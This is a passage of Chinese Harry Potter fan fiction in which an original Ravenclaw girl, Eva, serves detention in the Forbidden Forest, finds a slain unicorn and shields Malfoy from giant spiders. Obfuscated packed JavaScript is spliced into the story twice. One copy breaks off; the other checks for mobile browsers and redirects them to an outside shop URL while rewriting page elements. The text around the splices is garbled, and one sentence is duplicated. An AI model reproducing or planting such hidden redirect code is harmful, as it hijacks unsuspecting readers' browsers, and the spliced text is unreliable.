宿舍里其他人都还没醒。丽莎翻了个身,嘟囔了句什么。帕德玛的床帷幔里传出均匀的呼吸声。 Eva轻手轻脚地爬下床,换上校服长袍。袍子洗过了,带着肥皂和阳光的味道,但她总觉得还能闻到一点鸡血和烟灰的气味——大概是错觉。她把玉佩戴在手腕内侧,玉佩温温的,和平常一样。然后她拿起魔杖,紫杉木的杖身在晨光里泛着幽暗的光泽。 曼蒂也醒了,坐在床边发呆,手指绞在一起。她眼圈红红的,显然昨晚哭过。 她们一起下楼。旋转楼梯今天感觉特别长,特别陡。每一步都像踩在棉花上,软绵绵的,使不上劲。墙上那些拉文克劳老巫师的画像还在睡觉,有的在打呼噜,口水流到画框外面去了。 公共休息室里果然已经有人了。几个高年级学生围在学院分沙漏旁,盯着那明显少了一大截的蓝宝石,脸上写满了震惊和愤怒。沙漏里的宝石只剩下不到一半了,在晨光下暗淡无光。 “一百……” “到底怎么回事?” “我听说昨晚他们被抓到……” 看见她们下来,议论声突然停了。所有目光都集中到她们身上——不是恶意,但带着审视,带着不解,还有深深的失望。 罗伯特·希利亚德从壁炉边的扶手椅里站起来,快步走过来。他的脸色很难看,眼圈下面有黑黑的阴影,大概昨晚就没睡好。 “Eva,曼蒂,”他的声音压得很低,但能听出里面的疲惫,“我需要谈谈。现在。” 他指了指角落里最靠窗的位置,那里离其他学生远些。两人跟着他走过去,手指在袍子里绞在一起。 “一百学院分,”罗伯特开门见山,声音里没有责备,只有深深的无力,“能告诉我发生了什么吗?整个晚上我都在等你们回来,后来听到消息……养龙?真的吗?” 曼蒂点点头,眼圈又红了:“是真的。挪威脊背龙,海格孵出来的。我们……我们只是想去帮忙,它刚孵出来,很虚弱……” 罗伯特倒吸一口冷气,用手揉了揉脸:“梅林啊……你们怎么敢?违禁生物,最高级别的危险评级……海格他……”他顿了顿,“算了,不说海格。你们几个孩子,怎么能参与这种事?” “对不起,”Eva轻声说,“是我们做错了。” 罗伯特沉默了很久。壁炉里的火还没生起来,公共休息室里有点冷。窗外的天空是灰蓝色的,云层很厚,看样子要下雨。 “处罚是什么?”最后罗伯特问。 “劳动服务,”曼蒂吸了吸鼻子,“今晚开始,在禁林。” 罗伯特的脸色更白了:“禁林?一年级学生去禁林劳动服务?麦格教授怎么会……” “她说我们必须为自己的行为付出代价,”Eva重复着昨晚麦格教授的话,每个字都像小石子,沉甸甸地压在舌头上,“而且……马尔福也去。” “马尔福?”罗伯特皱起眉头,“他怎么……” “他跟踪我们,等到最后一刻才报告,”Eva说,“麦格教授说他也违反了校规。” 罗伯特揉了揉太阳穴,好像头疼得厉害:“好吧……至少不是只有你们几个。但禁林……梅林啊,你们一定要小心。绝对不能深入,绝对不能落单,绝对不能……”他顿了顿,“算了,这些海格肯定会交代的。他是看守,今晚应该是他带你们进去。” 他又看了她们一眼,眼神复杂:“还有……做好准备。今天会很难熬。学院分的事,大家都会问。你得……扛住。” “我们知道。”两人同时说。 早餐时,礼堂里的气氛果然不对。 她们走进来时,感觉所有人的目光都扫了过来。那些目光像探照灯,在脸上停留,又移开。窃窃私语声像潮水一样涌过来,嗡嗡的。 拉文克劳长桌这边,平时总是挤满了人,今天却在她和曼蒂周围空出了一小圈。不是故意的排挤,更像是一种下意识的距离——就像看到什么不该靠近的东西。 曼蒂低着头,小口小口地喝着一碗燕麦粥,动作机械得像上了发条的玩具。 秋·张端着盘子走过来,在她们对面坐下。她的表情很平静,没有责备,但也没有平时的笑容。 “我听说昨晚的事了,”秋轻声说,“一百学院分……你们真是……”她摇摇头,没说完。 “对不起。”曼蒂小声说。 秋看了她们一眼,叹了口气:“现在说对不起有什么用?分已经扣了。”她顿了顿,“禁林劳动服务……你们今晚一定要小心。我听说那里有狼人,有蜘蛛,还有别的……东西。绝对不能离开海格身边,知道吗?” “嗯。”两人点头。 秋又看了她们一会儿,然后从书包里掏出两个小瓶子:“这个拿着。我自己配的提神剂,虽然不如庞弗雷夫人的,但至少能让人清醒点。禁林晚上很冷,也很容易犯困。” 瓶子是玻璃的,里面装着淡绿色的液体。Eva接过来:“谢谢。” “不用谢我,”秋说,语气严肃,“我只希望你们平平安安地回来。” Eva看向格兰芬多长桌那边。哈利、罗恩和赫敏坐在一起,三个人都低着头。周围空出了一大圈——格兰芬多被扣了一百五十分。伍德的表情像是世界末日。 斯莱特林长桌那边,马尔福坐在中间,周围围着一群斯莱特林学生。他正在说话,声音不大不小:“……我也得去,就因为‘夜间闲逛’。真不公平,我可是揭发者……”他撇撇嘴,“不过至少能看到波特他们喂蜘蛛,也算值了。” 他的目光扫过拉文克劳长桌,在Eva脸上停留了一瞬,灰眼睛里闪过一种复杂的情绪——得意,怨恨,还有点什么别的,太快了,看不清。 教师席上,气氛也很凝重。麦格教授几乎没碰面前的食物。斯内普教授的黑眼睛缓缓扫视着礼堂,在哈利身上停了一下,又在Eva身上停了一下。 第一节课是变形术。走进教室时,Eva能感觉到麦格教授的目光像冰锥一样刺过来。但麦格教授没说什么,只是开始讲课,声音比平时更冷,更硬。 下课铃响了。学生们收拾东西离开时,哈利走过来,绿眼睛里满是愧疚。 “Eva,曼蒂……对不起,”他声音很低,“又连累你们了。” 曼蒂摇摇头:“是我们自己选的。” “今晚禁林……一定要小心。”哈利说,“海格说他会在入口等我们,八点整。” “我们知道。”Eva说。 他们在走廊分开。Eva和曼蒂走向下一节课的教室时,听见后面传来马尔福拖长的声音: “哟,看看这是谁——我们勇敢的‘养龙小分队’。今晚要去禁林喂蜘蛛了吧?真期待和你们一起‘劳动服务’。” 他的声音不大,但刚好能让周围人听见。几个斯莱特林学生发出低低的笑声。 Eva没回头,继续往前走。手指在袖子里碰了碰玉佩——温温的,稳稳的。 下午的魔咒课稍微好些。弗立维教授好像还不知道昨晚的事,或者知道了但选择不说。 下课后,弗立维教授叫住她:“张小姐,今晚的魔咒练习小组活动取消。麦格教授通知所有教授,今晚有特殊安排。” 他顿了顿,浅色的眼睛里闪过一丝担忧:“我听说……你们今晚要去禁林劳动服务。一定要跟紧海格,绝对不能离开他的视线。” “我会小心的,教授。”Eva说。 晚饭时,礼堂里的气氛更凝重了。所有人都知道今晚有学生要去禁林劳动服务。Eva没什么胃口,只吃了几口炖菜和一片面包。曼蒂几乎没动盘子里的食物。 七点半,他们在门厅集合。 海格已经等在那里了,穿着他那件巨大的鼹鼠皮大衣,手里提着一盏巨大的提灯。牙牙蹲在他脚边,尾巴不安地摇着。 哈利、罗恩和赫敏已经到了。马尔福是最后一个到的,慢悠悠地走下楼梯。 “都到齐了?”海格的声音闷闷的,“好,跟我来。记住,进了禁林,一步都不能离开我身边。” 他推开城堡大门。夜风立刻涌进来,冷飕飕的。外面已经完全黑了。 他们跟着海格走向禁林。禁林的边缘在夜色里像一堵黑色的墙。 海格在林子入口停下,举起提灯照了照。 “听着,”他的声音压得很低,“今晚的任务是找一只受伤的独角兽。费伦泽——禁林里的马人——昨天发现它受伤了,但没找到它。我们得找到它,带它出来治疗。” “独角兽? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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禁林在夜晚是另一个世界。浓密的树冠隔绝了本就稀疏的星光,黑暗如同有生命的实体,浓稠得化不开。脚下的地面松软而潮湿,堆积着厚厚的、不知多少年落的腐叶,踩上去悄无声息,却更添诡异。空气中弥漫着泥土、菌类和某种未知野生动物的气息,远处不时传来不知名生物的窸窣声和低沉的嚎叫,每一次都让他们的神经绷紧一分。 海格巨大的身躯在前方开路,他的脚步声沉重而令人安心。Eva和曼蒂跟在他身后。罗恩、马尔福和牙牙往右边去了,哈利和赫敏往左边。 Eva努力让自己镇定下来。她尝试着调动体内那股平和的“炁”,让它缓缓流转。在这片原始而充满野性的魔法环境中,她能模糊地“感觉”到脚下泥土中沉睡的生机,也能隐约捕捉到远处那些古老树木沉稳而庞大的生命力量。她沉浸在这种新奇而危险的感知中时,走在前方的海格突然猛地停下了脚步,巨大的身躯挡住了大部分光线。 曼蒂一路上都很紧张,一手抓着Eva的手臂,一手抓着手里的魔杖,几乎是拖着Eva走,像有什么东西在后面撵着她。 走了大概仿佛一个世纪这么久,走在前方的海格突然猛地停下了脚步,巨大的身躯挡住了大部分光线。 “梅林啊……”他发出一声低沉而充满震惊的呻吟。 曼蒂和Eva挤上前,顺着海格提灯照射的方向看去—— 前方一小片空地上,月光勉强穿透枝叶,照亮了一幅令人心悸的景象。 一匹独角兽倒卧在银蓝色的血迹之中,它原本应该如月光般皎洁闪耀的皮毛此刻黯淡无光,修长的脖颈以一种不自然的角度扭曲着,那双传说中如夏日晴空般湛蓝的眼睛圆睁着,却失去了所有神采,只剩下空洞的死寂。它额前那根螺旋形的、本该蕴含纯净魔力的独角,也仿佛蒙上了一层灰翳。 更令人作呕的是,空气中弥漫着一股难以形容的气味——并非血腥,而是一种……腐败的、冰冷的甜腻感,混合着一种纯粹的恶意,让人胃里翻腾。 “它死了……”海格的声音带着哽咽,巨大的手掌颤抖着,轻轻拂过独角兽冰冷的皮毛。 这时,腕间的玉佩前所未有的灼热起来,滚烫的热度甚至让她觉得皮肤有些刺痛。 但几乎同时,一股更原始、更阴冷的寒意穿透了她的感官。与她体内温和流转的“炁”猛烈相撞。“炁”像受惊的溪流骤然加速,在她周身自发地循环起来,试图将那令人作呕的腐朽感隔绝在外。 在那匹死去的独角兽旁边,潮湿的、布满苔藓的地面上,残留着一串清晰的、不属于任何已知森林生物的脚印,以及几滴尚未完全凝固的、闪烁着不祥银光的血迹,指向森林更黑暗的深处。 有什么东西,刚刚还在这里。一个以独角兽鲜血为食的、充满了极致黑暗与腐朽的存在。 几乎就在同时,从罗恩和马尔福离开的方向,夜空中猛地炸开了一簇刺眼的绿色火花!那是危险的信号! 海格猛地抬起头,脸上血色尽失:“罗恩!马尔福!” 禁林的惩罚,远比他们想象的更加危险。 23. 禁林的夜(下) 刺破夜幕的绿色火花像一道冰冷的闪电,狠狠击中了海格的心。 “罗恩!马尔福!”海格的声音因恐惧而变调,他巨大的身躯猛地转向火花升起的方向,手中的提灯剧烈摇晃。他甚至来不及思考,就像一头被激怒的熊,迈开沉重的步子朝那个方向冲去——脚步声在寂静的林中如同擂鼓。 “海格!等等!”Eva急忙喊道,心脏在胸腔里狂跳。 但海格情急之下完全忘记了她们的存在,只回头喊了一声:“跟上!别落单!” 曼蒂吓得脸色惨白,下意识追着前方那点晃动的光。Eva看了一眼地上那匹死去的独角兽和那串令人不安的脚印,强压下喉咙口的恶心和腕间玉佩传来的灼痛感,也拔腿追了上去。 然而海格的速度太快了,林间的黑暗和盘根错节的地面对她们构成了巨大的障碍。不过几个转弯,前方那点光亮和沉重的脚步声便彻底被浓密的树木与更深的寂静吞噬。曼蒂死死盯着海格的光点,拼命追赶,而Eva在一个拐弯处被突起的树根狠狠绊了一下—— 她踉跄着站稳,但等她抬起头时,前方已经空无一人。 黑暗彻底包裹了她。 彻底的、令人窒息的黑暗。她用魔杖点起荧光闪烁,但那点微弱的光,在无边的墨色中显得如此渺小,仅能照亮脚下方寸之地,反而让周围的阴影显得更加狰狞可怖。各种细微的声音被无限放大——头顶猫头鹰扑棱翅膀的声响,远处不知名生物的窸窣爬行,风吹过树叶发出的呜咽,甚至她自己过快的心跳声,都像是敲打在耳膜上的重锤。 更糟糕的是,空气中那股混合了腐朽和黑暗魔力的甜腻气息并未消散,反而如同跗骨之蛆,更清晰地萦绕不散。腕间的玉佩持续滚烫,几乎要灼伤皮肤。但奇怪的是,与之前纯粹的预警躁动不同,此刻它散发出的热量,似乎形成了一层极其微薄、却真实存在的屏障,将那股试图侵蚀她心智的冰冷恶意稍稍隔绝在外。她体内原本因震惊和恐惧而翻腾的“炁”,在这层屏障的保护下,也渐渐恢复了更快的、但有序的流转,带着一种本能的警惕,像察觉到危险而竖起尖刺的小动物。 她不能待在这里。必须找到海格,或者至少回到相对安全的小路上。 Eva强迫自己冷静下来,试图回忆刚才奔跑的方向。但禁林里的路在黑暗中几乎无法辨认,所有的树看起来都一样。恐慌开始像冰冷的藤蔓一样缠绕上来。她迷路了。 就在这令人窒息的孤立中,她忽然捕捉到一丝极其微弱、但确实存在的“扰动”。那感觉很难形容——不是声音,也不是气味,更像是平静水面被投入石子后荡开的、不协调的涟漪。它来自左前方,带着一种令人不安的尖锐感,像是巫师的魔力在极度恐慌中失控逸散,又混杂着某种更黑暗、更原始的生物能量的震颤。 是错觉吗?还是…… 她没有时间犹豫。深吸一口气,Eva调动起“炁”,努力让心神更沉静,感官更敏锐,朝着那“扰动”感最强的左前方,小心翼翼地前进。 失去了海格提灯的光亮,时间在纯粹的黑暗中也失去了意义。Eva感觉仿佛在粘稠的墨汁中跋涉了几个世纪,又或许只过去了惊恐的几分钟。那“扰动”感时强时弱,引导着她。就在她几乎要怀疑自己是否产生了幻觉时,前方隐约传来了压抑的、带着哭腔的说话声,还有一个更高亢、充满恐惧和愤怒的声音。 是罗恩和马尔福! 她精神一振,加快脚步,同时更加小心地隐藏身形,躲在一棵巨大的古树后面,探头望去。 眼前的景象让她倒吸一口冷气。 罗恩和马尔福背靠背站着,魔杖指向外围,脸上毫无血色,额头上全是冷汗。牙牙瘫软在地,发出低低的、恐惧的呜咽。而包围他们的,是十几只巨大的、如同拉开的马车般大小的蜘蛛!它们全身覆盖着浓密的黑毛,八只复眼在黑暗中闪烁着不祥的、幽绿的光芒,巨大的螯肢相互摩擦,发出令人牙酸的“咔哒咔哒”声,正缓缓地、无情地缩小包围圈。 是八眼巨蛛! “滚开!你们这些恶心的怪物!”马尔福尖声叫道,声音因为极致的恐惧而扭曲变形,他胡乱地挥舞着魔杖,一道歪斜的红色火花射向最近的一只蜘蛛,却只在它坚硬的外壳上溅起几点火星,反而激怒了它。他那头总是梳得一丝不苟的金发此刻凌乱不堪,粘着树叶和蛛丝,昂贵的斗篷也被树枝刮破了好几处,平日里精心维持的傲慢姿态荡然无存,只剩下一个被吓坏了的、苍白的男孩。 “别激怒它们,你这个白痴!”罗恩带着哭腔喊道,魔杖抖得厉害,但他还是努力指向蜘蛛,试图寻找空隙,“我们得再发信号!绿色火花!” “我……我发过了!”马尔福的声音带着一丝不易察觉的心虚和颤抖——他记不清了,极度恐慌中,他可能只是胡乱挥舞魔杖,那簇绿色火花或许射出过,或许没有,一切都在肾上腺素的冲击下变得模糊。 就在这时,一只体型格外庞大、甲壳颜色近乎深紫的蜘蛛头领,发出刺耳的“咔哒”声,猛地向前突进!巨大的、足以剪断树木的螯肢闪电般挥向站在稍前方的马尔福! 马尔福吓得完全僵在原地,灰蓝色的眼睛里倒映着那越来越近的、带着死亡气息的阴影,连尖叫都卡在了喉咙里。时间仿佛被拉长、凝固。 千钧一发之际,树后的Eva来不及思考,本能地从藏身处冲了出来! “盔甲护身!”她大喊一声,将魔杖奋力指向马尔福身前,同时调动起体内因警惕而加速流转的“炁”,让它顺着臂膀涌入魔杖,试图加固这个仓促的防护咒。 一道半透明的、闪烁着微光的屏障瞬间在马尔福身前浮现!“砰——!”一声沉闷而巨大的撞击声,螯肢狠狠砸在屏障上!屏障剧烈波动,闪烁不定,仿佛下一秒就要碎裂,但它终究顽强地挡住了这致命一击! 巨大的反震力让Eva手臂一阵发麻,魔杖差点脱手,她踉跄着后退了两步,胸口因骤然调用力量而有些发闷。所有蜘蛛的复眼瞬间齐刷刷转向了这个突然出现的闯入者,包围圈出现了短暂的停滞,随即“咔哒”声变得更加密集、更加充满威胁,仿佛在交流着新的猎杀目标。 “Eva?!”罗恩的声音里充满了难以置信的惊喜和后怕。 马尔福死里逃生,腿一软,几乎要瘫倒在地。他撑着膝盖,大口喘着气,看向Eva的目光复杂到了极点——劫后余生的惊恐、难以置信的震撼,以及一种更为尖锐的、被这个他平时带着审视和优越感去猜疑的拉文克劳救了性命所带来的、烧灼般的屈辱。他的嘴唇翕动着,却发不出任何声音,只是死死地盯着她,仿佛第一次真正“看见”这个女孩。 没有时间容他们交流。蜘蛛头领因攻击被阻而暴怒起来,发出一声格外刺耳的嘶鸣,更多的蜘蛛调整方向,朝着Eva围拢过来,螯肢高举。与此同时,Eva清晰地感觉到,那股一直弥漫在空气中的、源自独角兽死亡之地的冰冷恶意,似乎也被这里的动静和活物的恐惧吸引,正缓慢地、但确实无疑地朝着这个方向弥漫过来! 必须速战速决!立刻离开! 她想起海格说过,八眼巨蛛畏惧强光。她猛地将魔杖高举向头顶上方那片被枝叶切割得支离破碎的夜空,几乎是用意志强行压榨着刚刚承受了冲击的魔力,同时,体内那快速流转的“炁”也仿佛感应到她的决绝,以前所未有的速度奔涌向手臂—— “荧光闪烁!” 这一次,不再是微弱的照明。一道刺目欲盲的、如同小型太阳骤然爆发的强光,猛地从她魔杖顶端炸开!光芒瞬间吞噬了周围的黑暗,将那些狰狞的蜘蛛、惊恐的少年、每一片树叶的纹理都照得惨白一片!在光芒爆发的极短一瞬,似乎有某种更内敛的、微不可察的暖金色泽一闪而过,并非来自咒语本身,而是她周身自然流转的“炁”与玉佩的温热产生了短暂的共鸣。 “咔哒——嘶——!”蜘蛛群发出一片混乱而痛苦的嘶鸣,纷纷惊慌后退,用节肢拼命遮挡对强光敏感的复眼,包围圈顿时溃散。 “快跑!这边!”Eva朝着吓呆的罗恩和马尔福吼道,同时维持着这耗费巨大的强光,一步步后退,为他们指明自己来的方向。 罗恩第一个反应过来,求生本能压过了恐惧,他一把抓住几乎瘫软的马尔福的胳膊,用尽全力将他拖起来,踉踉跄跄地朝着Eva指示的、相对稀疏的林木间跑去。 马尔福被拖着跑,身体僵硬,却下意识地、死死地回头看了一眼。 他看见那个东方女孩站在强光的中心,黑发被气流和光芒拂动,脸色苍白如纸,但举着魔杖的手臂稳如磐石,黑色的眼睛在逆光中看不真切,只有一种沉静的、近乎凛然的专注。这一幕,带着一种与他所熟知的纯血荣耀、斯莱特林式的力量截然不同的、奇异而强烈的冲击力,像一道烙印,狠狠凿进了他的脑海和视线深处,以至于在之后许多个夜晚,都会在他闭上眼时清晰重现。 Eva边退边维持着强光,直到蜘蛛群完全退入光芒边缘的黑暗,嘶鸣声渐渐远去。她立刻熄灭了咒语——一阵强烈的虚脱感伴随而来,手臂酸痛,魔力仿佛被抽空了一大块。她转身,朝着罗恩和马尔福消失的方向追去,脚步有些发软。 不知跌跌撞撞跑了多久,前方终于出现了熟悉的、摇晃的提灯光芒——还有海格巨大而焦急的身影!他正带着曼蒂、哈利和赫敏,呼喊着他们的名字,在林中焦急地搜寻。 “梅林啊!你们没事吧?”海格冲过来,大手挨个重重拍打他们的肩膀,声音哽咽,“我们看到绿色火花,又听到动静……急死我了!你们怎么跑到那边去了?!那是八眼巨蛛活动的区域!” “蜘……蜘蛛……”罗恩喘着粗气,心有余悸,“好大的蜘蛛……差点就……” “八眼巨蛛,”海格脸色铁青,“阿拉戈克的子孙……你们没受伤吧?”他紧张地检查着每个人,目光落在Eva有些苍白的脸上时,停顿了一下,眼中闪过一丝不易察觉的愧疚——他想起自己情急之下把她们落下的事。 就在这时,一阵轻捷的马蹄声传来。费伦泽带着几个马人从更幽深的林子里走出,银色鬃毛在微光中流淌。他的脸色比刚才更加严肃,蓝宝石般的眼睛扫过狼狈的众人,最后在哈利身上停留了片刻,那目光深邃而带着某种预兆。 “海格,”费伦泽的声音低沉而平静,却让周围的空气仿佛都凝滞了,“又发现了一只受伤的独角兽。还活着,但失血过多,非常虚弱。”他顿了顿,目光掠过每一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980639|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小巫师惊魂未定的脸,“有东西在禁林里猎杀独角兽,为了它们的血。喝下独角兽的血可以延续生命,哪怕只剩一口气……但那是亵渎,饮用者将背负永恒的诅咒,半生半死。”他的视线再次投向哈利,意有所指,“火星在你们的头顶闪烁,今晚,黑暗非常活跃。你们不该在这里。立刻回去吧,今晚……这片森林不再欢迎访客。” 他的话像一阵寒风吹过,让所有人都不由自主地打了个寒颤。那股始终萦绕不散的甜腻腐朽感,似乎也随之变得更加清晰而险恶。 海格深吸一口气,巨大的胸膛起伏着,显然也在努力压下后怕和愤怒:“好,我们回去。今晚……到此为止。”他看向几个孩子,语气不容置疑,“跟紧我,一步都不要落下。” 回城堡的路沉默而压抑。哈利和赫敏低声交换着听到的信息,面色凝重。罗恩断断续续、心有余悸地向海格描述刚才的遭遇,时不时瞥一眼Eva,眼神里充满了感激。曼蒂紧紧挨着Eva,小声地、絮絮地说着话,仿佛这样能驱散残留在骨髓里的寒意。 海格提着灯走在最前面,脚步比来时沉重得多。牙牙跟在他脚边,夹着尾巴,时不时发出委屈的呜咽。 马尔福独自走在队伍最后面,与前面的人保持着一段明显的距离。他垂着头,淡金色的头发遮住了大半张脸,看不清表情。只是他的目光,会不受控制地、时不时地抬起,落向前方那个黑发女孩的背影,然后又迅速移开,手指无意识地收紧,攥着破损的袍子边缘。 回到城堡时,门厅的钟显示已经快十一点了。温暖的灯光和熟悉的气息包裹上来,才让人有种重回人间的恍惚感。 “直接回宿舍,”海格转过身,巨大的身躯堵在门口,表情是前所未有的严肃,“今晚看到的一切——受伤的独角兽、蜘蛛、还有费伦泽的话——不许跟其他任何人提起。尤其是蜘蛛和独角兽血的事。明白吗?” 所有人都重重地点头。 “劳动服务……就到这里,”海格叹了口气,揉了揉发红的眼睛,目光扫过每个人,尤其在Eva和马尔福身上多停留了一瞬,“回去喝点热东西,好好睡一觉。别再想今晚的事了。” 他们分开了。马尔福第一个匆匆走向通往斯莱特林地窖的楼梯,脚步很快,一次也没有回头,苍白的身影迅速被阴影吞没。 哈利、罗恩和赫敏低声说了句“明天见”,也拖着疲惫的步伐走向格兰芬多塔楼。 Eva和曼蒂默默地走向拉文克劳塔楼。旋转楼梯今天感觉格外漫长,石阶冰冷,仿佛永远也走不到头。沉默在她们之间蔓延,只剩下空洞的脚步声。 终于到了那扇熟悉的橡木门前。鹰形门环静静地悬挂着,青铜鹰眼在昏暗光线下似闭非闭。 曼蒂伸出手,轻轻敲了敲门环。 鹰喙张开,那个中性的、带着回音的声音在寂静中响起:“什么东西越危险,越令人着迷?” 曼蒂想了一会儿,用带着疲惫的细微声音回答:“秘密。” “正确。” 橡木门悄无声息地向内滑开。公共休息室里空无一人,壁炉里的火已经很小了,只剩下一堆暗红色的余烬,在青灰色的灰烬中明明灭灭。 她们没有停留,径直走上旋转楼梯,回到宿舍。丽莎和帕德玛的床帷幔紧闭,里面传出均匀的呼吸声,已经熟睡了。 精疲力竭地换下沾着泥土、草叶和淡淡烟尘气味的袍子,两人几乎是一碰到枕头就瘫软下去。 黑暗和寂静重新包裹上来。过了好一会儿,曼蒂在旁边的床上翻了个身,面朝Eva的方向,用几乎听不见的气声小声问: “Eva……你冲出去的时候,害怕吗?” Eva望着床帷幔顶端的黑暗,过了一会儿才轻声回答:“怕。” “那为什么……” “不知道。”Eva打断她,声音里带着浓浓的倦意,但很清晰,“看到螯肢挥下来的时候,没时间想为什么。” 她没说的是,在那个瞬间,她脑海里闪过的甚至不是“马尔福”,也不是任何复杂的权衡。那是一个更简单、更原始的念头:一个人,快要死了。 有些事,不需要理由。做了,就是做了。 就像万圣节那晚曼蒂扔出的石头。就像海格提到诺伯时通红的眼圈。就像爷爷笔下的“见义勇为,量力而行”——“为”字前面,终究是“义”。 曼蒂没有再问。黑暗中传来她逐渐平稳的呼吸声。 Eva闭上眼睛,手腕上的玉佩紧贴着皮肤,已经恢复了往常温润的触感。手臂的酸痛和魔力耗尽的虚脱感阵阵袭来,但更深处,是经历险境后的疲惫与一种奇异的平静。 禁林的黑暗、蜘蛛的复眼、马尔福僵住的脸、自己杖尖爆发出的强光……还有费伦泽那句“永恒的诅咒”…… 无数的画面和信息在脑海中翻腾,最终都沉入深沉的疲倦之下。 明天,太阳还会升起。学院里会有新的流言,沙漏里的宝石依然空荡。海格会担心,哈利他们会继续调查,马尔福……不知道他会怎样。 但此刻,她只需要睡眠。 窗外的风声仿佛从很远的地方传来。霍格沃茨城堡在夜色中静默,守护着其中所有的秘密与安眠。 24. 石头与水 星期一的早晨,城堡从一场虚惊中醒来。 早餐时,礼堂里的气氛和上个星期一完全不同。虽然拉文克劳的沙漏还是空了一大截——蓝宝石沉在底部,稀稀拉拉的——但议论的焦点已经不是养龙和扣分了。 “听说了吗?昨晚禁林出事了……” “费尔奇说海格带着几个学生进去劳动服务,结果差点出事……” “有东西在禁林里游荡,猎杀独角兽!” 消息传得比飞路粉还快,虽然细节模糊,但“猎杀独角兽”这几个字就够吓人了。学生们低声交谈,目光时不时瞟向格兰芬多长桌的哈利、罗恩、赫敏,还有拉文克劳这边的Eva和曼蒂,以及斯莱特林长桌末端的马尔福——他今天独自坐在那里,离克拉布和高尔都远了些,脸比平时更苍白,吃相格外规矩,只是机械地把食物送进嘴里。 教师席上,气氛更是凝重。麦格教授几乎没有动面前的盘子,脸色严肃得像石像。斯内普教授的黑眼睛像两潭深水,缓缓扫视着礼堂,在哈利身上停顿,又在Eva和马尔福身上短暂停留。邓布利多教授倒是神色如常,正和弗立维教授说话,但Eva注意到他银白色的长胡子末端微微卷曲——这是他在思考时的小习惯。 Eva小口喝着燕麦粥。粥有点凉了,但她不太在意。昨晚的记忆像一块湿布,沉甸甸地压在脑子里:独角兽空洞的眼睛,蜘蛛幽绿的复眼,马尔福僵住的脸,还有费伦泽那句“永恒的诅咒”。她手腕上的玉佩现在温温的,但当时那种滚烫的触感还留在皮肤记忆里。 曼蒂在她旁边,几乎没吃东西,只是把面包撕成一小块一小块,堆在盘子里。 “你们还好吗?”秋·张端着盘子走过来,在她对面坐下,声音很轻,“昨晚……很可怕吧?” 曼蒂点点头,眼睛有点红。 秋看看她们,叹了口气:“一百学院分的事……大家还在议论,但禁林的事传开后,焦点转移了。”她顿了顿,“至少没人再围着你们问龙的事了。” 这算是好消息吗?Eva不知道。她只觉得累,像刚跑完很长很长的路,腿还是软的,心还悬着。 第一节课是变形术。走进教室时,Eva能感觉到麦格教授的目光像探照灯一样扫过来。但麦格教授没说什么,只是开始讲课,声音比平时更冷,更硬。 “今天复习甲虫变纽扣,”她说,“期末考试近在眼前。我希望每个人都能稳定完成三次成功变形。” Eva面前的小盒子里,甲虫不安地爬动。她打开盒子,甲虫立刻想往外逃。她赶紧用魔杖按住它——手指还有点抖。 “集中精神,”麦格教授在教室里踱步,“变形不是蛮力,是意志的精准投射。” Eva深吸一口气,努力把脑子里的画面压下去:黑暗,绿光,银色的血。她集中精神,想象一枚深蓝色的纽扣,扣眼端正,边缘光滑。 “速速变形。” 魔杖尖涌出银光,包裹住甲虫。甲虫在光中改变——变扁,变圆,长出扣眼,颜色转为深蓝。一枚纽扣落在桌上。 但不够好。扣眼有点歪,边缘毛糙,颜色也不够均匀。 麦格教授走过来,拿起纽扣看了看。“成功变形,”她严肃地说,“但细节粗糙。这说明你的注意力不集中,魔力输出不稳定。”她看了Eva一眼,“昨晚的事我听说了。但课堂就是课堂,我希望看到百分之百的专注。重做。” “是,教授。”Eva低声说。 她看向旁边——赫敏的纽扣几乎是完美的,麦格教授给了她十分。哈利的纽扣也不错,只是边缘有点模糊,加了七分。罗恩的甲虫变成了一只……会轻微抖动的纽扣,麦格教授让他重做。纳威的甲虫长出了纽扣的形状,但还有一条细腿在边缘乱动,他急得快哭了。 下课时,Eva收拾东西,感觉手臂的酸痛还没完全消退。昨晚那个强光咒消耗太大了,到现在还像跑了长途一样,胳膊软绵绵的。 “Eva。” 麦格教授叫住了她。哈利、罗恩和赫敏担忧地看着她,但她只是点点头,让他们先走。 教室里只剩下她和麦格教授。麦格教授走到讲台前,转过身,表情严肃但比刚才温和了些。 “昨晚的事,海格都告诉我了。”她说,声音压得很低,“八眼巨蛛,还有……猎杀独角兽的东西。”她顿了顿,“海格特别提到,你救了马尔福先生一命。” Eva低下头,没说话。 “在那种情况下,能做出正确的判断并付诸行动,这需要勇气和清晰的头脑。”麦格教授看着她,“作为教授,我必须说,私自前往禁林深处是极其危险且违反规定的行为。但作为……”她斟酌着用词,“作为目睹了现场的人,我理解当时情况的紧急性。” 她走到窗边,看着窗外绿油油的草坪:“霍格沃茨保护每一个学生,但有些危险……超出了课堂所能教授的范围。昨晚你们遇到的,就是这样的危险。”她转过身,“劳动服务到此为止。但我要你明白——类似的事情,绝对不能再发生。如果再让我听说你或任何学生擅自涉险,处罚绝不会只是扣分那么简单。清楚了吗?” “清楚了,教授。”Eva说。 麦格教授点点头,表情稍微缓和:“你的变形术基础不错,但最近明显退步了。把心思收回来,Eva。期末考试很重要。” “我会的,教授。” 走出教室时,Eva感觉心里轻松了些。麦格教授没有责备她救了马尔福,反而肯定了那份勇气——虽然也严厉警告了下不为例。这很公平。 中午在礼堂,Eva看见马尔福独自坐在斯莱特林长桌末端,离其他人远远的。他吃得很少,只是机械地切着盘子里的食物,动作很慢,很精细。克拉布和高尔坐在不远处,想凑过去说什么,但马尔福只是摆了摆手,没理他们。 他的目光偶尔扫过拉文克劳长桌,在Eva脸上停留一瞬,又迅速移开。那眼神很复杂——不是平时的讥诮或审视,更像是一种……困惑,还有Eva看不懂的东西。 